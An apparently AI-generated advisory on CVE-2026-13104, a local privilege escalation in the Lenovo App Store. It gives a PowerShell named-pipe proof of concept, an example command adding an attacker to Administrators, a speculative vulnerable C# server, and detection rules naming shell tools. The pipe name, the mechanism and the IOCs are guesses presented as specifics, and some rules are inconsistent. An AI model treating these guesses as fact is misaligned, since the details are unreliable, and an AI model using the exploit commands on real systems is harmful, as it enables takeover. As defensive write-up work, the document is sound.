CVE-2026-13104
Executive Summary
CVE-2026-13104 is a privilege escalation vulnerability in the Lenovo App Store, a software distribution platform exclusive to the Chinese market. A local authenticated user can exploit this flaw to execute arbitrary code with elevated privileges. The vulnerability has a CVSS score of 7.3 (High) and currently has no known patch or public exploit. The EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection guidance, and mitigation strategies for DevSecOps teams.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.3 (High)
- Attack Vector: Local (AV:L) – requires physical or remote shell access to the system.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: Low (PR:L) – attacker must have a standard user account.
- User Interaction: None (UI:N) – no user action required beyond initial access.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – full data access possible.
- Integrity Impact: High (I:H) – arbitrary code execution.
- Availability Impact: High (A:H) – potential system compromise.
Threat Level: High. Although no public exploit exists, the low complexity and high impact make it a priority for patching once available.
Deep Dive & Mechanics
The vulnerability resides in the Lenovo App Store application, which runs with elevated privileges (likely SYSTEM or root) to install and manage software. The flaw is categorized under CWE-269 (Improper Privilege Management), meaning the application fails to properly enforce privilege separation when handling user requests.
Root Cause Analysis:
- The App Store likely exposes a local IPC (Inter-Process Communication) endpoint (e.g., named pipe, socket, or COM object) that allows standard users to send commands.
- Due to insufficient validation of the caller’s identity or permissions, a low-privileged user can invoke functions that execute arbitrary binaries or scripts with the App Store’s high privileges.
- This could be triggered via a crafted request to install a malicious package, modify registry keys, or spawn a process.
Attack Scenario:
- Attacker gains local access (e.g., via phishing, USB drop, or another vulnerability).
- Attacker enumerates the Lenovo App Store’s IPC interface.
- Attacker sends a malicious command (e.g., to execute
cmd.exe /c net localgroup Administrators attacker /add). - The App Store executes the command with elevated privileges, granting the attacker admin rights.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable pattern. A typical vulnerable implementation might look like:
Vulnerable (C# example):
// Named pipe server listening for commands
NamedPipeServerStream pipeServer = new NamedPipeServerStream("LenovoAppStorePipe", PipeDirection.InOut, 1);
pipeServer.WaitForConnection();
StreamReader reader = new StreamReader(pipeServer);
string command = reader.ReadLine();
// No impersonation or ACL check - executes with SYSTEM privileges
Process.Start(command);
Patched (hypothetical):
// After patching, the server would impersonate the caller or check ACLs
NamedPipeServerStream pipeServer = new NamedPipeServerStream("LenovoAppStorePipe", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.None, 1024, 1024);
pipeServer.WaitForConnection();
// Impersonate the client to verify permissions
WindowsIdentity callerIdentity = (WindowsIdentity)pipeServer.GetImpersonationIdentity();
WindowsImpersonationContext context = callerIdentity.Impersonate();
// Now execute only if caller has admin rights
if (IsAdministrator())
{
StreamReader reader = new StreamReader(pipeServer);
string command = reader.ReadLine();
Process.Start(command);
}
context.Undo();
Exploitation & Lab Setup
Red Team
Lab Environment:
- Windows 10/11 VM with Lenovo App Store installed (Chinese market version).
- Standard user account (non-admin).
Exploitation Steps:
- Identify the IPC endpoint (e.g., named pipe
\\.\pipe\LenovoAppStorePipe). - Use a tool like
PowerShellorC#to connect and send a command.
Proof-of-Concept (PowerShell):
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", "LenovoAppStorePipe", [System.IO.Pipes.PipeDirection]::InOut)
$pipe.Connect()
$writer = New-Object System.IO.StreamWriter($pipe)
$writer.WriteLine("cmd.exe /c whoami > C:\temp\pwned.txt")
$writer.Flush()
$pipe.Close()
Expected Result: The file C:\temp\pwned.txt will contain nt authority\system (or similar high-privilege account).
Blue Team
Detection Steps:
- Monitor for unusual named pipe connections from non-admin processes to
LenovoAppStorePipe. - Alert on process creation events where the parent process is
LenovoAppStore.exeand the child iscmd.exe,powershell.exe, or other shells. - Enable Windows Event Logging for process creation (Event ID 4688) and named pipe events (Event ID 17/18).
Hunting Query (Kusto):
DeviceProcessEvents
| where InitiatingProcessFileName == "LenovoAppStore.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, CommandLine
Indicators of Compromise (IOCs)
- File Paths:
C:\Program Files\Lenovo\AppStore\LenovoAppStore.exeC:\temp\pwned.txt(example output)
- Named Pipe:
\\.\pipe\LenovoAppStorePipe - Registry Keys (potential):
HKLM\SOFTWARE\Lenovo\AppStore
- Network Connections: None (local only)
- Process Anomalies:
LenovoAppStore.exespawningcmd.exeorpowershell.exe- Unusual child processes of
LenovoAppStore.exe
Detection Engineering
YARA Rule
rule Lenovo_AppStore_PrivEsc_CVE_2026_13104 {
meta:
description = "Detects potential exploitation of CVE-2026-13104 via named pipe abuse"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$pipe_name = "LenovoAppStorePipe" ascii wide nocase
$cmd_exec = "cmd.exe" ascii wide nocase
$powershell = "powershell.exe" ascii wide nocase
condition:
$pipe_name and ($cmd_exec or $powershell)
}
Sigma Rule
title: Lenovo App Store Privilege Escalation via Named Pipe
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects process creation events where LenovoAppStore.exe spawns a shell
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\LenovoAppStore.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
condition: selection
falsepositives:
- Legitimate administrative tasks (rare)
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2026-13104 Lenovo App Store Named Pipe Abuse"; content:"LenovoAppStorePipe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Lenovo App Store if not required: Uninstall or disable the service via
services.mscorsc stop LenovoAppStore. - Restrict Named Pipe Access: Use Windows Security Descriptor Definition Language (SDDL) to restrict the pipe to administrators only.
- Monitor for Exploitation: Deploy the Sigma and YARA rules above.
Long-Term Fix:
- Await an official patch from Lenovo. Monitor Lenovo’s security advisory page for updates.
- Apply the principle of least privilege to the App Store service.
Workaround:
- Remove the standard user’s ability to interact with the named pipe by modifying its ACL via PowerShell:
$pipe = Get-WmiObject Win32_Pipe -Filter "Name='LenovoAppStorePipe'"
$pipe.SetSecurityDescriptor("O:BAG:SYD:(A;;GA;;;BA)") # Only admins
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.